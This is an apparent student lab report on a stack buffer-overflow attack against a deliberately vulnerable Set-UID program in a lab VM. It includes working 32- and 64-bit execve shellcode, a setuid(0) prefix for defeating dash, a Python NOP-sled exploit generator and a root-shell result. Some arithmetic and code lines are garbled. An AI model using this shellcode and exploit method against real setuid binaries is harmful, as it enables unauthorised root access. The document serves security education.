

Title: Buffer Overflow Set-UID

Team: Rafik Tarbari & William Wadsworth

Date: October 3rd, 2022

Introduction

In this lab, we are exploring buffer-overflow vulnerability in the system. A buffer-overflow attack is a malicious code set in a program to go above the normal boundary of a buffer and manipulate the normal flow of this program. In recent/modern operating systems, there are many countermeasures established to avoid/reduce buffer-overflow attacks. In this lab, we will turn off these measures in order to be successful with our attack.

2: Environment Setup

2.1. Turn Off Countermeasures

**** Address Space Randomization**

We want to disable the randomization of the starting address of the heap and stack implemented in most Linux-based systems and Ubuntu. This will make the attack easier in such a way that makes our guessing of the starting address more accurate.

The command to disable the randomization is the following:

```
[10/03/22]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[10/03/22]seed@VM:~$ █
```

**** Configuring /bin/sh**

Now we want to link /bin/sh to /bin/zsh which will allow us to execute our attack. We need to do this because /bin/sh has been patched so this exploit will not work with it.

```
[10/03/22]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
[10/03/22]seed@VM:~$ █
```

3 Task 1: Getting Familiar with the Shellcode

3.1. The C Version of the Shellcode

3.2. 32-Bit Shellcode

In the 32-bit code we are pushing `//sh` onto the stack instead of `/sh` because we need 32-bit; `//sh` = 32 bits (8 bits * 4) but `/sh` = 24 bits (8 bits * 3). Fortunately, adding an extra `/` does not make any difference.

```
    xor  eax, eax
    push eax
    push "//sh"
    push "/bin"
    mov  ebx, esp ; ebx
```

3.3. 64-Bit Shellcode

In the 64-bit code, the same technique is used to push the argument onto the stack

```
xor  rdx, rdx ; rdx = 0: execve()'s 3rd argument
push rdx
mov  rax, '/bin//sh' ; the command we want to run
push rax
```

3.4. Invoking the Shellcode

The following program (call_shellcode.c) shown opens a shell prompt:

```

1 #include <stdlib.h>
2 #include <stdio.h>
3 #include <string.h>
4
5 // Binary code for setuid(0)
6 // 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
7 // 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
8
9
10 const char shellcode[] =
11 #if __x86_64__
12  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
13  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
14  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
15 #else
16  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
17  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
18  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
19 #endif
20 ;
21
22 int main(int argc, char **argv)
23 {
24     char code[500];
25
26     strcpy(code, shellcode);
27     int (*func)() = (int(*)())code;
28
29     func();
30     return 1;
31 }
32

```

call_shellcode.c

By default, the compiler compiles programs in 64-bit. However, since we also want the 32-bit version, we can do so by adding the `-m32` flag when compiling. Fortunately, we can use a Makefile, which is also shown below. By running the command `make`, we can compile both 32-bit and 64-bit versions of the program (which is specified in lines 3 and 4 of the Makefile):

```

1
2 all:
3     gcc -m32 -z execstack -o a32.out call_shellcode.c
4     gcc -z execstack -o a64.out call_shellcode.c
5
6 setuid:
7     gcc -m32 -z execstack -o a32.out call_shellcode.c
8     gcc -z execstack -o a64.out call_shellcode.c
9     sudo chown root a32.out a64.out
10    sudo chmod 4755 a32.out a64.out
11
12 clean:
13    rm -f a32.out a64.out *.o
14

```

Makefile

When running both a32.out and a64.out, it produces a shell prompt:

```
[10/03/22] seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[10/03/22] seed@VM:~/.../shellcode$ ls
a32.out a64.out call_shellcode.c Makefile
[10/03/22] seed@VM:~/.../shellcode$ a32.out
$ exit
[10/03/22] seed@VM:~/.../shellcode$ a64.out
$ exit
[10/03/22] seed@VM:~/.../shellcode$ █
```

4 Task 2 & 3: Understanding and Investigating the Vulnerable Program

For these tasks, our goal is to use the program stack.c (shown below) to gain a root shell prompt. Line 35 specifies that the input will only take a maximum length of 517 bytes. However, in the `bof` function (line 17), the buffer only takes `BUF_SIZE` bytes, which is globally defined in line 10 as 100. This setup will cause a buffer overflow because `strcpy` does not verify boundaries.

```

1 #include <stdlib.h>
2 #include <stdio.h>
3 #include <string.h>
4
5 /* Changing this size will change the layout of the stack.
6  * Instructors can change this value each year, so students
7  * won't be able to use the solutions from the past.
8  */
9 #ifndef BUF_SIZE
10 #define BUF_SIZE 100
11 #endif
12
13 void dummy_function(char *str);
14
15 int bof(char *str)
16 {
17     char buffer[BUF_SIZE];
18
19     // The following statement has a buffer overflow problem
20     strcpy(buffer, str);
21
22     return 1;
23 }
24
25 int main(int argc, char **argv)
26 {
27     char str[517];
28     FILE *badfile;
29
30     badfile = fopen("badfile", "r");
31     if (!badfile) {
32         perror("Opening badfile"); exit(1);
33     }
34
35     int length = fread(str, sizeof(char), 517, badfile);
36     printf("Input size: %d\n", length);
37     dummy_function(str);
38     fprintf(stdout, "==== Returned Properly ==== \n");
39     return 1;
40 }
41
42 // This function is used to insert a stack frame of size
43 // 1000 (approximately) between main's and bof's stack frames.
44 // The function itself does not do anything.
45 void dummy_function(char *str)
46 {
47     char dummy_buffer[1000];
48     memset(dummy_buffer, 0, 1000);
49     bof(str);
50 }
51

```

stack.c

Line 30 means we will use a file named badfile, which will contain our malicious code. It is important that this badfile is created, otherwise the program will not run.


Compilation:

After compilation of the source code, we turn the set-UID on to give root privilege to our program.

```
[10/04/22]seed@VM:~/.../code$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
[10/04/22]seed@VM:~/.../code$ ls
brute-force.sh exploit.py Makefile stack stack.c
[10/04/22]seed@VM:~/.../code$ sudo chown root stack
[10/04/22]seed@VM:~/.../code$ sudo chmod 4755 stack
[10/04/22]seed@VM:~/.../code$ ls -l stack
-rwsr-xr-x 1 root seed 15908 Oct  4 20:08 stack
[10/04/22]seed@VM:~/.../code$
```

We can also use the Makefile to produce the same results, but here we get all the compiled codes: 32-bits (stack-L1 and stack-L2) and 64-bits(stack-L3 and stack-L4)

```
[10/04/22]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[10/04/22]seed@VM:~/.../code$ ls -ls
total 184
 4 -rwxrwxr-x 1 seed seed  270 Dec 22  2020 brute-force.sh
 4 -rwxrwxr-x 1 seed seed  891 Dec 22  2020 exploit.py
 4 -rw-rw-r-- 1 seed seed  965 Dec 23  2020 Makefile
16 -rwsr-xr-x 1 root seed 15908 Oct  4 20:08 stack
 4 -rw-rw-r-- 1 seed seed  1132 Dec 22  2020 stack.c
16 -rwsr-xr-x 1 root seed 15908 Oct  4 20:13 stack-L1
20 -rwxrwxr-x 1 seed seed 18692 Oct  4 20:13 stack-L1-dbg
16 -rwsr-xr-x 1 root seed 15908 Oct  4 20:13 stack-L2
20 -rwxrwxr-x 1 seed seed 18692 Oct  4 20:13 stack-L2-dbg
20 -rwsr-xr-x 1 root seed 17112 Oct  4 20:13 stack-L3
20 -rwxrwxr-x 1 seed seed 20112 Oct  4 20:13 stack-L3-dbg
20 -rwsr-xr-x 1 root seed 17112 Oct  4 20:13 stack-L4
20 -rwxrwxr-x 1 seed seed 20112 Oct  4 20:13 stack-L4-dbg
[10/04/22]seed@VM:~/.../code$
```



Investigation

```

EDI: 0xf7fd1000 --> 0x1c0d0c
EBP: 0xffffcb48 --> 0xffffcf58 --> 0xffffd188 --> 0x0
ECX: 0xffffcad0 ("1pUVd\317\377\377\220\325\377\367\340\263\374", <incomplete
sequence \367>)
EIP: 0x565562c2 (<bof+21>:      sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflo
w)
-----code-----
--]
0x565562b5 <bof+8>: sub    esp,0x74
0x565562b8 <bof+11>: call   0x565563f7 <__x86.get_pc_thunk.ax>
0x565562bd <bof+16>: add    eax,0x2cfb
=> 0x565562c2 <bof+21>: sub    esp,0x8
0x565562c5 <bof+24>: push  DWORD PTR [ebp+0x8]
0x565562c8 <bof+27>: lea   edx,[ebp-0x6c]
0x565562cb <bof+30>: push  edx
0x565562cc <bof+31>: mov   ebx,eax
-----stack-----
--]
0000| 0xffffcad0 ("1pUVd\317\377\377\220\325\377\367\340\263\374", <incomplet
e sequence \367>)
0004| 0xffffcad4 --> 0xffffcf64 --> 0x0
0008| 0xffffcad8 --> 0xf7fd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffcadc --> 0xf7fcb3e0 --> 0xf7fd990 --> 0x56555000 --> 0x464c457f
0016| 0xffffcae0 --> 0x0
0020| 0xffffcae4 --> 0x0
0024| 0xffffcae8 --> 0x0
0028| 0xffffcaec --> 0x0
-----
--]
Legend: code, data, rodata, value
20      strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb48
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcadc
gdb-peda$

```

Figure 1

First, we need to set up a breakpoint before the bof function runs by typing the command `b bof`. We do this because we need to set the `ebp` to point to a different address, so we don't let the full program run. Instead, we use the commands `run` (run the program up until breakpoints or the end of the program) and `next` (execute a few more instructions). Figure 1 shows after the *run* and *next* command are run, and we can spot the **ebp value** (top of Figure 1). To confirm the value, we use the command `p $ebp`. Following, we look for the address of the buffer by running the command `p &buffer`.

Let's now calculate the distance between **ebp** and the **buffer address**

ebp = 0xffffcb48 (in hex) buffer address or edx = 0xffffcadc (in hex)

ebp = 52040 (in dec) buffer address or edx = 51932 (in dec)

ebp - edx = 52040 - 51932 = 108

5.2 Launching Attack

In order to get the value of the offset, we add a reasonable value (here 4 or 8) to the difference between ebp and edx. The value has to be large enough to kick in the NOPs and not be too far from the return address. Also, it has to be not too big to go beyond the return address and therefore miss to hit it.

offset = (ebp - edx) + 4 = 108 - 4 = 112

```
1 #!/usr/bin/python3
2 import sys
3
4 # Replace the content with the actual shellcode
5 shellcode= (
6     "\x31\xc0"
7     "\x50"
8     "\x68"//"sh"
9     "\x68"/"bin"
10    "\x89\xe3"
11    "\x50"
12    "\x53"
13    "\x89\xe1"
14    "\x99"
15    "\xb0\x0b"
16    "\xcd\x80"
17 ).encode('latin-1')
18
19 # Fill the content with NOP's
20 content = bytearray(0x90 for i in range(517))
21
22 #####
23 # Put the shellcode somewhere in the payload
24 start = 400-len(shellcode) # Change this number
25 content[start:] = shellcode
26
27 # Decide the return address value
28 # and put it somewhere in the payload
29 ret = 0xffffcaf8+200 # Change this number
30 offset = (0xffffcaf8-0xffffca8c)+4 # Change this number
31
32 L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
33 content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
34 #####
35
36 # Write the content to a file
37 with open('badfile', 'wb') as f:
38     f.write(content)
```

exploit.py


```
[10/04/22]seed@VM:~/.../code$ ./exploit.py
[10/04/22]seed@VM:~/.../code$ ./stack-L1
Input size: 400
# id
uid=1000(seed) gid=1000(seed) euid=0(root)
```

6 Task 4: Launching Attack Without Knowing Buffer Size (Level 2)

In this task, our goal is the same: obtain a root shell, but without knowing the length of the buffer. Fortunately, we know the buffer length is between 100 and 200. What we can do is assign the return address to the first 200 bytes ensuring that one of those bytes would override the correct return address. We do this by adding a for loop, and we need to make sure that it increments by 4, since each memory address is 4 bytes long.

```
31 for a in range(0,200,4):
32     content[a:a+L] = (ret).to_bytes(L,byteorder='little')
```

After execution, we are given a root shell.

9 Task 7: Defeating dash's Countermeasure

We are switching from the shell zsh to dash where set-UID countermeasure is implemented and we are going to try to deploy our attack. First, we need to link /bin/sh to /bin/dash. We need to do this because if /bin/dash detects that a program's real user ID is different from the effective user ID, it will drop the root privileges, meaning our attack should not work.

```
$ sudo ln -sf /bin/dash /bin/sh
```

But all we have to do to get around this is to add a little more shellcode that changes the real user ID to root. Figure 2 shows the necessary shellcode (lines 6-9):

```

1 #!/usr/bin/python3
2 import sys
3
4 # Replace the content with the actual shellcode
5 shellcode= (
6     "\x31\xc0"
7     "\x31\xdb"
8     "\xb0\xd5"
9     "\xcd\x80"
10    # -----
11    "\x31\xc0"
12    "\x50"
13    "\x68" "//sh"
14    "\x68" "/bin"
15    "\x89\xe3"
16    "\x50"
17    "\x53"
18    "\x89\xe1"
19    "\x99"
20    "\xb0\x0b"
21    "\xcd\x80"
22 ).encode('latin-1')

```

Figure 2

10 Task 8: Defeating Address Randomization

In this task, we are using the brute force attack. On a 32-bit Linux machine, the stack base address can have 2^{19} possibilities. So, using a brute force to find the address will be a piece of cake. First, we turn on the address randomization countermeasure before running our script.

```

[10/04/22] seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=
2
kernel.randomize_va_space = 2

```

After running the bruteforce script, we are supposed to get a root prompt but after 4 min 54 seconds, the attack is unsuccessful.

```
4 minutes and 54 seconds elapsed.  
The program has been running 453909 times so far.  
Input size: 104  
==== Returned Properly ====  
4 minutes and 54 seconds elapsed.  
The program has been running 453910 times so far.  
^C
```

Conclusion

In this lab, we explored the buffer-overflow vulnerability. We focused on the 32-bit program to make the attack easier to execute. Using the debugger tool, we figured the value of ebp and the address of the buffer. We used the distance between the two to find the offset that was used in the python exploit program which generated content to the badfile.